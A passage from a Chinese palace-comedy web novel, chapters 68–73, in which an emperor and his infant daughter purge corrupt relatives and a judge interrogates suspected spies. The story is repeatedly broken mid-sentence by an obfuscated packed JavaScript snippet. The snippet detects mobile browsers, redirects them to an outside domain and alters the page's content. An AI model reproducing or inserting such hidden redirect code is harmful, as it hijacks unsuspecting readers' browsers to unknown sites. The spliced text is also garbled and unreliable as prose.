白洵的声音从高高的龙椅上传来,还带着几分早朝时特有的慵懒威严。可他话音刚落,甚至没来得及问一句“可有本启奏”,就见一个身影站了出来。 不是别人,正是大理寺卿包准。 “臣,有本奏!” 这一嗓子,直接把站在后排神游太空的王胡亭给吓了一跳,一颗心瞬间提到了嗓子眼,扑通扑通个不消停。 “怎么又是他!昨天是他,今天怎么还是他!”王胡亭内心疯狂呐喊,脸都白了。 他当然是认得包准的,两家说来还是邻居,可每回见到那张铁面无私的大黑脸,他就莫名发怵。 明明自己也没干啥亏心事,可被那双眼睛一扫,感觉就连五岁尿裤子、七岁偷啃祭品的事儿都能被他一眼看穿! 他赶紧竖起耳朵,大气不敢喘,努力捕捉前方的每一个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287030|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 包准站得笔直,声音洪亮得仿佛自带回音效果,一字一句砸在整个大殿上: “宗正寺卿朱平,插手大公主和亲事宜,扰乱礼制,现已认罪!” “吏部郎中蓝唐,设计调包他人婚事、冒名顶替,骗婚十年,供认不讳!” “领侍卫内大臣路珲图——”包准顿了一下,全场静得落针可闻,“系洲王同党,强占民田、强抢宅邸、收买官员,甚至以镀金假货充当公主生辰贺礼!数罪并罚,理当重惩!” 这一连串罪名报出来,没被点到名的王胡亭终于偷偷喘出一口气,内心疯狂鼓掌:“真不愧是无私铁面大黑脸,一个人站在那儿比千军万马还吓人!那可是圣上的表舅、三公主的表姐夫啊,他说参就参,眼睛都不带眨的!” 其他大臣也越来越看不懂眼下这形势了,总之统一保持两个动作:低头,闭嘴。 低头是为了不让人看出表情——有的是真害怕,有的是假担忧,还有的纯属憋着笑看热闹。 都说喜怒不形于色,可归根结底,有几个人真能做到? 闭嘴就更简单了——昨天蓝唐不就是因为多嘴一句,才成了“买二送一”那赠品吗?虽说他一点也不冤,但他也真是够倒霉啊!谁愿意大半夜被请去大理寺喝茶呢?! 整个朝堂之上百态纷呈,唯有坐在上头的白晓晓与众不同。 她一听路珲图送她的生辰礼是假货,当场就炸了,小脸白了又白,感觉脑瓜顶都要着火了。吐槽声更像是踩了电门似的,一声比一声尖细。 「什么?!居然是假货!」 「我豁出脸面才要来的礼物,竟敢拿镀金的糊弄我!」 「一对小脚环而已!至于这么抠吗!!」 白晓晓一阵咬牙切齿,什么糊弄先皇、白洲同党这些罪名都不重要了,她唯独听不得“假货”二字。 她回头看向皇位上的爹爹,牵起嘴角无声地做了个口型。 白洵定睛一看,显然是—— “爹爹!给我neng他!!” 第69章 出头鸟 第六十九章出头鸟 “强占民田、强抢宅邸、逼良为娼、收买官员......”白洵每说一桩,语气就更冷一分。说到最后,他连道三声“好”,一声比一声沉,一声比一声厉,脸上的笑意早已结成了冰,眼底寒芒慑人,任谁都看得出——圣上这是怒极了。 他向来明白水清则无鱼的道理,官场上下难免有些见不得光的勾当。可他万万没想到,自家人竟敢仗着他的势,横行霸道到如此地步! 这哪是沾皇亲?简直是扯虎皮做大旗,罪大恶极! 路珲图跪在大殿中央,眼下一片乌青,身子抖得跟秋风里的落叶似的。他昨儿一宿没合眼,天没亮就催着夫人赶紧进宫,去求张太妃救命——虽说不是圣上的亲娘,可好歹他也跟三公主白溪沾着亲带着故,总不能真眼睁睁看着全家掉脑袋吧? 可就算搬出太妃,他心里依旧七上八下的,这条命是死是活,全在圣上的一念之间。他头都不敢抬,只听得四周议论纷纷: “干出这等丑事,简直丢尽了张太妃的脸!辱没了骠骑大将军的门风!” “就是!这种亲戚有不如没有,净会拖后腿!” “该杀!就该拖去菜市口**,让大家都瞧瞧下场!” 路珲图咬紧牙关,心里早把这些落井下石的人骂了个狗血淋头。这帮人嗡嗡个不停,活像一群苍蝇,吵得他脑袋发胀,连圣上说了什么都听不真切。 其实一开始,他也不是不怕,可贪念这东西,就像滚雪球,越滚越大。起初只是十亩十亩地吞田,后来见没人管、没人敢拦,他胆子就肥了,一口气强占了上百亩良田,连带着把人家的宅子也强抢了过来。 他也曾心虚过、不安过,可日子一天比一天奢华,进出朝堂人人都敬他一声“路大人”,那点惶恐早被虚荣吞没了。 野心越养越肥,胃口越来越大,手也越伸越长……直到此刻跪在这里,他才恍然惊醒——只是太迟了。 白洵冷眼俯视着他,一句也没提他掺和白洲的事情,可路珲图心知肚明,圣上绝不是以德报怨的主儿。他这种阳奉阴违、自作聪明的人,正是他想要的出头鸟。 这一招杀鸡儆猴只怕是筹谋已久,他现在后悔也来不及了。 果然,下一刻,冰冷的声音从御座上传来——“择日问斩,家产尽数抄没,亲族一律流放宁古塔。” 路珲图眼前一黑,连求饶都来不及说出口,当场软倒在地,不省人事。 满朝文武鸦雀无声,无一人敢上前看一眼。 剩下的朱平和蓝唐跪在地上,浑身抖得像筛糠,冷汗顺着额角往下淌,生怕下一刻,自己的名字就跟“斩首”二字连在一起。 幸好,白洵并非嗜杀之君,他二人犯的事,说大能抄家流放,说小也能睁一只眼闭一只眼——全看他的心情。 “朱平,”白洵声音冷淡,“念你未造成大恶,暂饶一命。摘去顶戴,革去官职,没收一半家产。” 朱平腿一软,几乎瘫坐在地,却忙不迭磕头谢恩。 虽然忙活了大半辈子,最后都进了圣上的腰包,但他至少还有一条命。 能活着就好,活着就好! “蓝唐,你骗婚欺瞒,行为不端。若你能求得你妻子、其家人、以及当年被你横刀夺爱之事牵连者的原谅,朕可酌情从轻发落,宽大处理。” 蓝唐愣在原地,半晌才反应过来,连连叩首,声音都带了哭腔。 两人不约而同松了口气,性命攸关之时,竟然觉得圣上仁慈。 「我爹不爱**,他就爱搞钱。」 白晓晓在一旁看得门儿清,小脑袋里嘀嘀咕咕。 「你瞧,这不就搞来了吗!?」 「这一招敲山震虎,既立了威,又填了国库,简直一举两得,血赚!」 她优哉游哉地扫视了一圈噤若寒蝉的朝堂,文武百官一个个低眉顺眼,乖巧得像一群待宰的小羊羔。 她不是针对谁——她是平等地创飞每一个比她有钱的人! 这时,白洵再度开口,声音平稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287031|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却带着不容置疑的压迫感:“光禄大夫、鲁平侯、蒋太尉……”他每点一个名字,就有人身子一僵,颤巍巍出列,额头冒汗,如履薄冰。 等该出来的人都站齐了,白洵才慢条斯理地说道:“诸位都是皇亲,与国同体。朕难免担心……有人仗着身份,借朕之名、或借其他尊亲之名,行不轨之事。”他语气一转,骤然凌厉,“路珲图,就是你们的前车之鉴!” 几人齐刷刷一颤,头埋得更低。 “若不想落得他那般下场,现在回头,为时未晚。”白洵声音放缓,却字字千斤,“该退赃的退赃,该还地的还地,主动处理干净后,自行去大理寺交代清楚。朕可既往不咎,从轻发落。” 突然,他语调急转直下,变得冰冷狠戾:“若拒不交代、隐瞒欺诈——大理寺卿!” 包准立刻大步出列,昂首挺胸:“臣在!” “一旦查实,一律按律严办!绝不姑息!” “臣,遵旨!” 几位皇亲国戚面面相觑,脸上的血色唰地一下就退得干干净净,一个个面如死灰,冷汗哗哗地流,官袍里的衬衣早就湿得能拧出水来。 都是当官的,谁还能没有点灰色收入?谁家还没几块说不清来源的田地宝贝? 到嘴的鸭子,养得肥肥壮壮,现在居然要亲手送回去?想想就肉疼、肝疼、浑身疼!简直像是从他们身上直接割肉! 可一想起路珲图被拖出去时那副死态,再想想菜市口明晃晃的铡刀……这点贪念,顿时被恐惧压得死死的。 就在这时,一个清脆又嚣张的小奶音突然响起,毫不客气地打破了朝堂的凝重:“还有!送我假生辰礼的那些,全都给我补上!” 白晓晓才不管他们心脏受不受得了呢,她只在乎她的周岁礼! 那可是一辈子只有一次的盛大典礼!居然有人敢以次充好、拿假货糊弄她?是不是看她年纪小不懂行?! 哼哼,不让他们狠狠出一次血,他们还真不知道马王爷到底长了几只眼! 第70章 传声筒 第七十章传声筒 本来是抓奸细,结果变成了一场席卷朝野的肃清运动。 不过嘛,这一切全在白洵和白晓晓的算计之中。 但最叫人惊掉下巴的是——那个陈朝录,居然被放出来了! Ber?什么情况? 满朝文武心里跟猫抓似的,好奇得不得了,可谁敢直接去问圣上? 于是所有人的目光,就齐刷刷聚焦到了大理寺卿——包准身上。 每天上朝下朝,总能看到一些官员“偶遇”包准,嘴唇动了又动,话到嘴边又咽了回去,那副欲言又止、抓耳挠腮的模样,真是笑死个人。 终于,有人壮着胆子去问了。 是谁这么勇?不是别人,正是大黑脸那位住隔壁的老好人邻居——王胡亭。 其实老王心里也苦啊:他本来也不想蹚这浑水,可架不住同僚们都不敢直接问包黑脸,全都跑来逮着他问个不停。 好家伙,八卦中心就住他家隔壁,这不就是城门失火,殃及池鱼嘛! 他不是不八卦,他就是……有点怂,不太敢八卦那位大黑脸。 这日,他拎着夫人刚贴好的大饼子,硬着头皮敲开了包府的大门。 “那什么……我夫人做了点饼子,非让我送来给你们尝尝!”上门打听消息,总得有个由头,哪能空着手就来。 包准一愣,那张素来威严的黑脸上竟露出几分真切的笑意,道了谢还请他进去坐。 老王心里稍微放松了点,寒暄几句,才搓搓手,小心翼翼切入正题:“有个事儿不知当问不当问,就那个陈伯爷,不是说是奸细吗?怎么就给放出来了?”他说完赶紧找补,“咳咳,不少人跑来问我,我这也不知道具体情况,您要是不方便说,就当我没问!当我没问!” 他讪笑着,第一次干这种打听机密的事,脸上有点挂不住。 没想到包准格外干脆,一点没打算瞒着:“无事,此事并无不可言说之处。目前确实未寻得实证,便先将伯爷释放了,依我等判断,他是奸细的可能性不高。” ——真不是他们大理寺办案不靠谱。 实在是小公主大驾光临那天,特意吩咐要他配合演一场戏。 本质上就是一场“猫抓老鼠”,而他,包准,也是这场大戏里至关重要的一环,当然不能在这个时候拖后腿! “圣上念及忠勇伯往日的战功,此事暂且搁置。目前人证物证,确实一概皆无。”他说着,还颇为应景地叹了口气,演技自然得很。 不过紧接着,他话锋一转,黑脸上露出一丝意味深长:“不过那帮皇亲国戚倒是吐出了不少别的东西……怎么样老王,你有没有觉得,这京城里头最近安生多了?” 王胡亭听得连连点头,忍不住拍了下大腿:“您还别说,真是这样!以前那些个纨绔子弟,仗着自家有点权势,天天在城里横冲直撞地纵马狂奔,说又说不得,抓又不敢抓,老百姓躲都躲不及,真是怨声载道!嘿,现在可好,一个个老实得跟鹌鹑似的,街上都清静多了!” 他凑近了些,压低声音,带着点“我好像发现了什么不得了的事情”的表情,神秘兮兮地说:“我咋总觉得,圣上这招醉翁之意不在酒啊?搞出这么大动静,目标压根儿就不是陈伯爷吧?” 包准闻言,哈哈大笑了两声,那张惯常黑着的大脸上露出了几分高深莫测的表情,他既没承认也没否认,只是意味深长地瞥了王胡亭一眼。 嘿,还真让这老小子猜着了几分真相! 王胡亭这人吧,虽然不是个大漏勺,但架不住关心这事的人实在太多了! 第二天上朝的时候,他也就是和身边走得近的同僚低声闲聊了两句。 结果没过两天,消息就跟长了翅膀似的,在各个衙门和茶楼酒肆里传疯了!只不过这话传来传去,难免就变了味儿。 版本一(衙门精简版): “听说了没?圣上当初抓忠勇伯就是个由头!真正的目的是要收拾那帮无法无天的皇亲国戚!” 版本二(茶馆夸张版): “哎哟喂,惊天大秘密!圣上和忠勇伯那是联手做局下套呢!唰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287032|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唰唰地就没收了多少家产,肥了国库,瘦了蛀虫!” 版本三(路人总结版): “难怪瞅着圣上这几天心情倍儿好,走路都带风,原来是国库又进账了,能不乐呵吗?” …… **就这么一下子被推到了风口浪尖上,街头巷尾,人们交头接耳,议论纷纷。不少人在心里暗自掂量:这风向是不是要变了? 几天后的一个夜晚,一场绵绵的春雨悄然而至,街道上湿漉漉的,泛着微光。 更夫敲过了三更梆子,万籁俱寂。 就在这时,忠勇伯陈朝录府邸的侧门,被轻轻敲响。 门吱呀一声开了一条缝,两个穿着深色衣裳、几乎融于夜色的人闪身而入。不到半刻钟的工夫,又行色匆匆地悄然离去,仿佛从未出现过。 陈朝录自打从大理寺回来以后,整个人都松懈了下来。夫人田氏特意用柚子叶给他掸身,又让他跨过火盆,说是要祛除牢里的晦气。 他此刻正舒舒服服地靠在贵妃榻上,听着心腹仆从汇报近日京城的种种动向。 听到路珲图被押在刑车上游街,被愤怒的百姓用烂菜叶和臭鸡蛋砸得狼狈不堪;听到法场之外人山人海,围观百姓们山呼“圣上是青天大老爷”时……他胸口积压的那股郁气,终于长长地吐了出来。 他摸了摸胸口,那里也曾跳动着一颗忠君报国、驰骋沙场的心,只是总感叹自己生不逢时,英雄无用武之地。 “伯爷,喝点热粥吧,暖暖胃。”田氏端来一碗熬得软糯香甜的小米粥,看着他清瘦的脸颊和在牢里吃苦留下的痕迹,眼圈一红,心疼得直掉眼泪。 夫妻俩依偎在一起,正想说说体己话,互相安慰几句,就听见门外传来仆从略显慌乱急促的敲门声。 “不好了!”仆从的声音带着明显的紧张,“来了好多人,把门口都围住了!” 陈朝录心里咯噔一下,刚刚放松的神经瞬间绷紧,一种极其不祥的预感如同冰水般兜头浇下,让他从头凉到脚,眼球都不受控制地微微震颤起来。 第71章 颁个奖 第七十一章颁个奖 玩过狼人杀的都懂,身份伪装那可是游戏的精髓——不是你骗我、就是我演你,主打一个“我是【预言家】验你是【狼人】但我不说,看你配合我装【好人】骗其他人”的刺激感。 这可不是什么卑鄙的谎言,而是一场合理合规、考验演技与脑力的花式骗人艺术。 而本场唯一·真预言家白晓晓,这会儿正完美扮演着一个“坚信【狼人】发言的憨憨【好人】”。 表面上对忠勇伯陈朝录非常认可,并鼓励他继续行动,实际上嘛……她只是在等一个关键节点,随时准备跳身份、甩证据,给他来一记“正义的背刺”。 「笑鼠,我怎么可能会真的相信他啊!」 「他可是白莲教派来的诶,当我是三岁小孩吗?」 「话说……那个藏宝图的事儿,他到底知不知情啊?」 白晓晓的胡思乱想全部被亲爹偷听,他默不作声地抖了抖衣摆,心道你不是三岁小孩,你还不满三岁呢! 白洵不动声色,一副“我什么都不知道但我又什么都知道”的淡定样,对于这满城风雨半点都不着急。 就凭包准那张黑脸和审人手段,陈朝录迟早得全招。 蛛丝马迹早就有了,人证物证说不定也已在路上,前面这一切——不过都是为了请君入瓮的一场大戏。 随着陈朝录“二进牢”的消息传开,原本津津有味吃瓜的朝臣们也彻底懵了。 这忠勇伯到底是忠是奸?是好人还是奸细?短短半个月剧情反转再反转,翻面儿比煎饺子还快! 所以这到底是圣上运筹帷幄、一切尽在掌握?还是大理寺办案不力、反反复复不靠谱? ——这两个选项,他们没一个敢细琢磨,更不敢私下蛐蛐。反正吃瓜群众永远不缺瓜,他们就是一群在瓜田里上蹿下跳、时而兴奋时而迷茫的快乐猹。 就是瓜吃多了,稍微有点懵圈。 “完了完了,我前天没看清风向,还特地跑去伯爷府上慰问了一番……”一位官员垂头丧气,恨不得将时间**回去捂住自己的嘴。 “我更离谱,我还关心他吃不好睡不好,跟他说‘有事您说话’。”另一位愁眉苦脸,现在只想把自己说的话一个字一个字捡回来咽下去。 “……”还有一位已经说不出话,默默后悔到肠子都青了。 谁也说不准下一秒,会不会被打成陈朝录的同党,真要那样,他们的下场绝对比那几位皇亲国戚惨得多。 人家好歹家底厚、关系硬,他们这些靠微薄俸禄过活的小京官,才是皇城根下最不值钱的背景板。 要钱没有,要权说不上话,要排场没那实力,要面子也未必有人给。 “实在不行,就请旨外放,回乡当个父母官算了。”有人喃喃自语,努力想给自己找一条退路,说着说着就带了一丝哭腔,这怎么不是意难平呢! 他们寒窗苦读多少年才脱颖而出,又熬了多少夜、写了多少奏章才在京城留下浅浅一笔。如今却可能要因“站错队”而黯然离场。 “圣上啊……”有人望着皇宫的方向深深叹了口气。 这位圣上的操作,他们是越来越看不懂了。时而抽象得像在下一盘大棋,时而又着调得令人安心,时而大起大落宛如过山车——真叫人体会不到一点圣意,只剩摸不着头脑的茫然。 官员们还在那儿云里雾里、摸不着头脑,可那几位刚被“大理寺茶话会”招待过的皇亲国戚却已经咂摸出味儿来了——合着这是圣上唱的一出大戏,他们全是友情出演还没片酬的那种! 于是下了朝,几个人也顾不上体面了,一个个提着衣摆、苦着老脸就奔着御书房去了,活像一群刚被薅了**的委屈老山羊。 “圣上啊~~您也没事先通个气儿!”朱平小老头率先开嚎,演技比在大理寺时还浮夸,“您要说抓奸细,咱们肯定配合您演啊!何必、何必让咱们真金白银地往外掏呢!” 他可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287033|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实打实散了两千两雪花银,赔出去六个铺子才把身上的“债”还清!一想到这儿,他就肉疼得直抽抽——那都是他一点一点、辛辛苦苦(虽然手段不太干净)攒下来的家底啊! 旁边另一个老头儿也赶忙跟上,哭腔拖得老长:“就是啊圣上,您只要招呼一声,咱们肯定砸锅卖铁也把钱凑出来,眼睛都不带眨一下的,何必这样吓唬我们这几把老骨头。您瞧我这儿,心脏病都快吓出来了!” 他说得情真意切,仿佛下一秒就要捂着心口倒下去——虽然实际上,他乐捐出去的数目比朱平只多不少。 白晓晓站在一旁,毫不客气地翻了个大大的白眼,她是真受不了这种哭哭啼啼的戏码,尤其还是老头的哭戏——毫无美感,只剩噪音。 而且还哭得特别丑,脸上的肉都挤到了一块,不忍直视。 「要不要下次提前把计划全说了,给你们也安排点戏份?」 「长得不咋地,倒挺有颗想当演员的心。」 「没听说过人怕出名猪怕壮吗?戏这么多是生怕别人记不住你们?」 白洵坐在书案后,面上还是一派温和,甚至带点“朕也很无奈”的表情,打哈哈道:“你要早拿出现在这真情实感的劲儿,朕肯定给你个御前表演的机会。” 至于他自己暗中敛财这回事?那是一个字都不提。 笑话,蚊子再小也是肉,这帮人的田产铺子,有几个来路是完全干净的?要不是心里有鬼,能因为怕被当成反贼就乖乖上缴? 他一边听着哭诉,一边心里拨着小算盘。 如今国库可真是宽裕了不少,各地水利治理、赋税减免,也总算有了点儿喘息空间。就连边关将士的粮饷都能多发两个月了! 这行为怎么了?这行为多棒啊! 取之于蛀虫,用之于百姓! 分明是劫富济贫的最高境界!! 他越想越觉得理直气壮,甚至有点想给自己颁个“年度最佳财政规划奖”。 第72章 抓耗子 第七十二章抓耗子 陈朝录不是没想过自己会暴露,从入狱的第一天起,他就已经做好了最坏的打算。 可谁能想到,半路会杀出个小公主呢? 明明让他燃起了生的希望,又一盆水彻底浇灭。 士为知己者死,若是能保留了死后清名,让他成全了大义,又何尝不是一种慈悲呢? 他当时是真觉得,这辈子能遇上这么一对懂他的君臣父女,值了! ……可谁知道啊谁知道! 就在他彻底放松警惕、觉得大局已定,甚至开始琢磨出狱后要不要请个戏班子来府里唱三天的时候——圣上居然反手又杀了个回马枪! 这一枪捅得,那叫一个稳准狠,直接把他重新扎回了这间发霉的牢房里。 陈朝录只想说,圣上确实是个精彩绝艳的明君,看她整治皇亲国戚那个狠劲、那个布局,他就该猜到! “圣上啊圣上,怎会轻易放过我?” 他遗憾地抬起头,目光所及之处都是湿漉漉、还长着霉斑的牢顶。一滴热泪,终于不受控制地从他眼角滑落。 唉,终究是生不逢时啊! 他拿到的,是个反派剧本。 同样觉得自己拿错了剧本的,还有时谨这个小老头。 他不是和公主一块儿去的牢房吗,怎么没人告诉他陈朝录居然真的是个奸细呢? “合着圣上连我也瞒?”他心里有点不是滋味,感觉自己纯洁的感情受到了欺骗,像个被蒙在鼓里的工具人。 「不告诉你,自然有不告诉你的道理~」 「反间计要是人人都知道,那还叫反间计吗?那不成茶馆说书啦?」 「本公主就要当这局游戏里唯一的预言家!深藏功与名~」 “喝茶喝茶。”白洵一看时谨那张皱成包子的脸,就知道这小老头开始钻牛角尖了,他嘿嘿笑了两声,赶紧给女儿递了个眼神。 白晓晓心领神会,立刻端着她刚捣鼓出来的、热气腾腾的煎饼果子凑了上去,“别想那些有的没的,快尝尝这个!刚出炉的煎饼果子,就知道您爱吃这一口,特意给您做的!” 哄老头?她不会,她爹没教过! 但拿美食贿赂人?这个她可太会了! 根本不用学,全是她与生俱来的本事! 时谨也是个实在人,主要是那煎饼果子实在香得离谱——面糊摊得极薄,烤得焦香,里面夹着酥脆的大果子和薄脆,刷上特制的酱料,一口下去,酸甜浓香层层爆发,满足感直接拉满。 他一边接过美食,一边顺着台阶就下来了,但心里那点好奇实在憋不住:“圣上怎么知道陈朝录和白莲教有勾结的?” 白洵闻言,只是露出一个高深莫测、仿佛一切尽在掌握之中的微笑。 ——其实他心里想的是:我根本什么都不知道,纯粹是命好。 一旁的白晓晓也有样学样,眯起眼睛,笑得像只偷吃了小鱼干的小猫咪,一脸“我就是不告诉你”的狡黠模样。 时谨看着这父女俩如出一辙的神秘表情,心中不由地肃然起敬:高啊!实在是高!足不出皇宫,便尽知天下事,圣上和公主,真非常人也! 皇亲国戚们因为陈朝录的事儿可没少受惊吓、掏银子,一个个憋屈得不行。 如今好不容易确定这家伙成了弃子,那叫一个扬眉吐气、欢欣鼓舞,蹦跶得比过年舞的狮子还欢实! 他们信誓旦旦,立志要把同党全都揪出来! 虽然他们既不懂查案,也不会抓人,说话办事更不讲究什么证据链,全凭一张嘴皮子胡乱攀咬,外加仗着人多势众直接“武力说服”。 但你还真别说,就这么一通瞎搞,居然真被他们瞎猫碰上死耗子——薅出来一个! 庞寮,就是那天晚上偷偷摸摸跑去伯府的两人之一。 这会儿被一群打了鸡血似的皇亲国戚咋咋呼呼地围在中间,你一句我一句地吓唬,顿时就慌了神。 “说!你跟白莲教没关系,大半夜偷偷跑去陈府干什么!?”有人劈头盖脸就吼了一嗓子,凭得不是一个有理,而是声大。 庞寮吓得一哆嗦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287034|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,舌头都差点打结:“我、我就是去探望一下伯爷!同朝为官这么多年,他落了难,我去探望一下怎么了?” “哟呵!探望?你听听!他招了!他承认他和陈朝录是一伙的!”喊得最响的人就是蓝唐,他可是这群人里最卖力的一个,上蹿下跳,唾沫横飞,试图将功折罪,挽回一点自己在圣上心中的糟糕形象。 庞寮急得都快哭了,脸红脖子粗地辩解:“我没有!我不是!” “你还狡辩!分明就是去看望陈朝录,然后暗中勾结,图谋不轨……” “我是和周大人一起去的!周大人可以作证!”庞寮被逼得口不择言,试图拉个证人。 可他这话刚出口,蓝唐就更兴奋了,扭头就喊:“舅舅!快来看!抓着俩!买一送一啊这是!” 朱平也赶紧凑过来帮腔,一唱一和,差点把庞寮说得当场背过气去。 这闹哄哄、乱糟糟的一行人,连同被揪出来的“嫌疑犯”庞寮和那个被莫名拖下水的倒霉蛋周大人,很快就被推推搡搡地扭送进了大理寺。 大理寺泡的茶味道如何,根本没有人想知道。 所有人都瞪圆了眼睛,警惕着身边的一举一动,要是哪儿露出什么蛛丝马迹来,二话不说就要将人扭送到大理寺去。 有的是吓魔怔了,还有的纯粹在看热闹起哄。 包准看着眼前这乱糟糟的场面,那张标志性的黑脸上看不出什么表情,只挥挥手,下令:“分开审。” 大理寺也不是吃干饭的,放陈朝录回去的几日,早安排了人手不间断地蹲守在伯府周围,所有进出人员的名单早就详详细细地记录在案了。 几时几分,有几人前来,身穿什么衣服、佩戴什么配饰,在府里呆了多长时间,进去时什么表情、出来时又是什么神色……所有这些细节,都被一丝不苟地列在了纸上,形成了清晰的行动报告。 以包准多年审案断狱的毒辣眼光来看,这份名单上嫌疑最大的两人——还真就是庞寮和周其同。 说不准还真让这帮皇亲,瞎猫抓着了耗子! 第73章 狗咬狗 第七十三章狗咬狗 昏暗的审讯室内,油灯的光晕在墙壁上投下摇曳的影子,将庞寮那张惨白的脸照得忽明忽暗。 他坐在一张硬木凳上,只觉得屁股底下针扎似的难受,每一次细微的调整坐姿,那木头发出的吱呀声都让他心惊肉跳。 胆子小还要当奸细,这条路他真是后悔。 包准坐在对面,慢条斯理地拨弄着茶碗盖,瓷器相碰的清脆声响在寂静的房间里格外刺耳。他没有拍案怒吼,甚至没有抬高声调,只是偶尔抬起眼皮,那目光冷冷的像刀子,剐得人无所遁形。 “庞大人,”包准终于开口,声音平稳得像一潭深水,“说说吧,夜深人静,避人耳目,去伯府干什么了?” 庞寮的喉结剧烈地滚动了一下,声音干涩发颤:“下官……下官真的只是念及同僚之谊,眼见伯爷落难,心中不忍,方才前去探望。” “同僚之谊?”包准轻轻放下茶碗,那磕哒一声轻响却让庞寮的肩膀猛地一抖,“大理寺查案,讲的是真凭实据。但如今把你们送来的那帮皇亲,他们拿人靠的可是风声和一张嘴。” 他身体微微前倾,说出来的话像是在劝解又在心里埋了个钩子,“如今这所有的风声,可都呼呼地指向您了。庞大人,您若是清白,这是你最后一次说得清楚的机会,若是等隔壁的周大人先说了什么不该说的……” 庞寮的额头上,豆大的汗珠瞬间滚落,衣裳迅速被冷汗浸湿,紧紧贴在皮肤上,一片冰凉。他张了张嘴,却发不出任何声音。 另一间审讯室,气氛却截然不同。 周其同气得满面通红,花白的胡子都快翘到天上去了,他几乎要跳起来:“荒谬!简直是太荒谬了!本官是去看了陈朝录不假,但本官是......受到了邀请。” 他眼神骤然闪烁,咬咬牙继续道:“总之,本官与白莲教绝无半点瓜葛!庞寮居然敢因此攀咬本官,真是无耻之极,大人您身为大理寺卿,可得明察秋毫,还本官一个清白!” 包准面对他的暴怒,只是面无表情地记录着,淡淡道:“周大人稍安勿躁,是不是攀咬,很快就知。” 短短一日的工夫,对两位大人可以说是度日如年。 对白晓晓也是一样的。 不知怎的,时谨愣是瞧出来她有运筹帷幄的天赋,硬是被亲爹要求学围棋,一连坐了整整两个时辰,她真的要疯了。 「时老头恩将仇报!」 「我要和你势不两立!」 她啪地一声,把棋子按在一个毫无章法的地方。 “不错,下得好。”白洵面不改色地夸道,仿佛女儿刚刚下出了足以名留青史的绝妙好棋。 小孩子嘛,当然得多夸夸。 太傅能看出闺女有天赋,太傅好。 闺女愿意“认真”学棋,闺女好。 父女俩能这样其乐融融地下棋,当爹的——最好! 皇宫其乐融融,大理寺可是没有这样的轻松。 这里的茶水涩口,吃食也寡淡无味,但每一个进来的人,都很难再全须全尾地出去——当然,陈朝录是个例外。 他进进出出不要紧,要是影响了大理寺的铁案信誉,包准定要找圣上和小公主要点利息的。 到了上值的时间,包准没有急着提审两人,先是命人故意模糊地透露,有一人早已经暗中投诚,成为了官府的“钉子”,此番前去实为奉命传递假消息,引诱其余人暴露。 消息宛如一滴冷水滴入滚油,在庞寮和周其同心中炸开。 午后,包准分别来到了两人的牢房。 在庞寮面前,他状似无意地叹息:“周大人倒是识时务,他说那日去伯府,全然是因你庞寮极力怂恿,声称有教中‘左**’的密令传达。他自称是被你蒙蔽,如今追悔莫及。” 接着,他又来到周其同处,语气带着几分惋惜:“庞大人一口咬定,您是白莲教逆贼,身带着‘左* ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 